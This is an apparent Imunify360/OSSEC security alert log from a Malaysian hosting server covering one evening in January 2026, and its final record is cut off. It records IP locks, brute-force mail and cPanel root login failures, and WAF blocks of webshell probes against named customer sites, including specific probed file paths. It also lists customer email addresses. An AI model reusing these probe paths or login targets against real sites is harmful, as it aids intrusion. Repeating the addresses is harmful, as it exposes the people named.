Jan 15 19:14:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.172 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.42.108
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-16.142.111.42.108||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.170.179.36
country_id: 1562822
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/p-8.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.31
country_id: 130758
description:
2026-01-15 19:17:51 121114 [Warning] Aborted connection 121114 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.31' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/druma_photos/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/survey-meter.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 19:20:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57051: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.98.65
country_id: 3469034
description:
Jan 15 19:21:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.98.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 19:20:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57052: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/img/photos/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.98.65
country_id: 3469034
description:
Jan 15 19:21:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.98.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.52
country_id: 798544
description:
Jan 15 19:21:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.37
country_id: 3469034
description:
Jan 15 19:21:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.30.120
country_id: 933860
description:
Jan 15 19:22:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.30.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.234
country_id: 3865483
description:
Jan 15 19:23:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.234 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/index.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.190.117.40
country_id: 2017370
description:
[2026-01-15 19:23:59 +0800] info [whostmgrd] 94.190.117.40 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.234
country_id: 3865483
description:
Jan 15 19:23:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.30.120
country_id: 933860
description:
Jan 15 19:23:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.30.120 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.31
country_id: 130758
description:
2026-01-15 19:23:23 121329 [Warning] Aborted connection 121329 to db: 'unconnected' user: 'unauthenticated' host: '195.24.237.31' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.67.190.16
country_id: 1814991
description:
2026-01-15 19:25:16 dovecot_login authenticator failed for H=(16.190.67.125.broad.gz.sc.dynamic.163data.com.cn) [125.67.190.16]:36858: 535 Incorrect authentication data (set_id=lkwong.isc@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.87.152
country_id: 1814991
description:
Jan 15 19:26:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.87.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.152
country_id: 1814991
description:
2026-01-15 19:26:12 dovecot_login authenticator failed for H=([111.61.87.152]) [111.61.87.152]:13716: 535 Incorrect authentication data (set_id=nurhidayati@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 19:28:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58304: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 19:28:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58308: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.64.154
country_id: 3895114
description:
[2026-01-15 19:30:40 +0800] info [whostmgrd] 179.60.64.154 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.72.35
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-37.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.114
country_id: 3469034
description:
Jan 15 19:35:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.181
country_id: 1269750
description:
Jan 15 19:42:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.240.209
country_id: 1269750
description:
Jan 15 19:43:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.240.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.97.251.240
country_id: 798544
description:
Jan 15 19:44:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.97.251.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.240.209
country_id: 1269750
description:
Jan 15 19:44:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.240.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.242.125.186
country_id: 798544
description:
Jan 15 19:44:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.242.125.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.129
country_id: 2963597
description:
Jan 15 19:45:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.129 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.25.132.93
country_id: 1269750
description:
Jan 15 19:44:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.25.132.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.129
country_id: 2963597
description:
Jan 15 19:45:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.129 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.59.132.17
country_id: 798544
description:
Jan 15 19:45:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.59.132.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.97.251.240
country_id: 798544
description:
Jan 15 19:45:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.97.251.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.218
country_id: 1269750
description:
Jan 15 19:46:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.218 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 104.248.52.172
country_id: 6252001
description:
2026-01-15 19:46:53 122339 [Warning] Aborted connection 122339 to db: 'unconnected' user: 'unauthenticated' host: '104.248.52.172' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 19:48:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57071: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 19:48:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57072: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.168
country_id: 1269750
description:
Jan 15 19:48:36 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.168 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.50.83.37
country_id: 2464461
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=86491516693580 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.75.222.165
country_id: 3077311
description:
Jan 15 19:49:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.75.222.165 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.24.109.96
country_id: 3469034
description:
[2026-01-15 19:50:51 +0800] info [whostmgrd] 191.24.109.96 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.177.200.228
country_id: 3865483
description:
Jan 15 19:50:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.177.200.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.203
country_id: 732800
description:
Jan 15 19:51:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.203 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 130.193.204.119
country_id: 99237
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/Scotsman.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.203
country_id: 732800
description:
Jan 15 19:52:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.37.203.172
country_id: 3469034
description:
Jan 15 19:52:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.37.203.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.80.41.72
country_id: 3469034
description:
Jan 15 19:52:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.80.41.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.234.206.11
country_id: 953987
description:
Jan 15 19:53:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.234.206.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.17
country_id: 3469034
description:
Jan 15 19:53:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.75.107.104
country_id: 6252001
description:
[2026-01-15 19:54:51 +0800] info [whostmgrd] 73.75.107.104 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.16.88.66
country_id: 1269750
description:
Jan 15 19:55:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.16.88.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.16.88.66
country_id: 1269750
description:
Jan 15 19:55:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.16.88.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.87.106.235
country_id: 1269750
description:
Jan 15 19:55:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.87.106.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.112
country_id: 3175395
description:
Jan 15 19:59:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.112 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.85
country_id: 2510769
description:
Jan 15 19:59:42 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.2
country_id: 3175395
description:
Jan 15 19:59:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.2
country_id: 3175395
description:
Jan 15 20:00:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.50.237
country_id: 3175395
description:
Jan 15 20:01:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.50.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.50.237
country_id: 3175395
description:
Jan 15 20:01:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.50.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.46.230.123
country_id: 2963597
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/filebox-sample HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.201.179.56
country_id: 290557
description:
[2026-01-15 20:06:52 +0800] info [whostmgrd] 87.201.179.56 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.230.228.16
country_id: 6252001
description:
2026-01-15 20:07:21 dovecot_plain authenticator failed for H=c-71-230-228-16.hsd1.de.comcast.net (gamens) [71.230.228.16]:37164: 535 Incorrect authentication data (set_id=charles.loo@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.230.228.16
country_id: 6252001
description:
Jan 15 20:07:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.230.228.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.147.10.58
country_id: 1814991
description:
2026-01-15 20:09:43 dovecot_login authenticator failed for H=([219.147.10.58]) [219.147.10.58]:36059: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.147.10.58
country_id: 1814991
description:
Jan 15 20:09:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.147.10.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.18.44.49
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-11.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 161.142.153.90
country_id: 1733045
description:
161.142.153.90 - - [15/Jan/2026:20:12:18 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235738&pdata=https%253A%252F%252Fmail.tujusetia.my%253A2096%252Fwebmaillogout.cgi&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768479136 HTTP/2.0" 302 0 mail.tujusetia.my "https://mail.tujusetia.my:2096/webmaillogout.cgi" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:161.142.153.90


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.110
country_id: 3469034
description:
Jan 15 20:13:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.110
country_id: 3469034
description:
Jan 15 20:13:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.60.130.227
country_id: 130758
description:
2026-01-15 20:14:57 H=([62.60.130.227]) [62.60.130.227]:50914 F=<noreply@wetransfer.com> rejected RCPT <prayerlink@agpc.org.my>: SPF: 62.60.130.227 is not allowed to send mail from wetransfer.com


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.53.211
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-15.142.111.53.211||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.212.17.174
country_id: 2017370
description:
Jan 15 20:15:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.212.17.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.212.17.174
country_id: 2017370
description:
2026-01-15 20:15:49 dovecot_login authenticator failed for H=([155.212.17.174]) [155.212.17.174]:38012: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 20:16:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57090: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 20:16:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57091: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 42.200.70.134
country_id: 1819730
description:
Jan 15 20:17:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 42.200.70.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.70.134
country_id: 1819730
description:
2026-01-15 20:17:56 dovecot_login authenticator failed for H=42-200-70-134.static.imsbiz.com [42.200.70.134]:59297: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.20
country_id: 1269750
description:
Jan 15 20:20:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.20
country_id: 1269750
description:
2026-01-15 20:20:27 dovecot_login authenticator failed for H=(nsg-corporate-20.230.187.122.airtel.in) [122.187.230.20]:41426: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.151.162.126
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-20.45.151.162.126||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.91.180.33
country_id: 3469034
description:
Jan 15 20:20:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.91.180.33 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.145
country_id: 298795
description:
Jan 15 20:24:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.77.245.227
country_id: 1835841
description:
Jan 15 20:26:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.77.245.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.245.227
country_id: 1835841
description:
2026-01-15 20:26:46 dovecot_login authenticator failed for H=([220.77.245.227]) [220.77.245.227]:39616: 535 Incorrect authentication data (set_id=admin@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.170.11.124
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-56.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.75.181.87
country_id: 2017370
description:
Jan 15 20:29:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.75.181.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.75.181.87
country_id: 2017370
description:
2026-01-15 20:29:26 dovecot_login authenticator failed for H=(181.87.roitl.ru) [185.75.181.87]:49418: 535 Incorrect authentication data (set_id=nicholas@eminent.st)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.115.122
country_id: 1814991
description:
Jan 15 20:30:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.115.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.115.122
country_id: 1814991
description:
2026-01-15 20:30:20 dovecot_login authenticator failed for H=([111.26.115.121]) [111.26.115.122]:36372: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.162.251.73
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-31.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
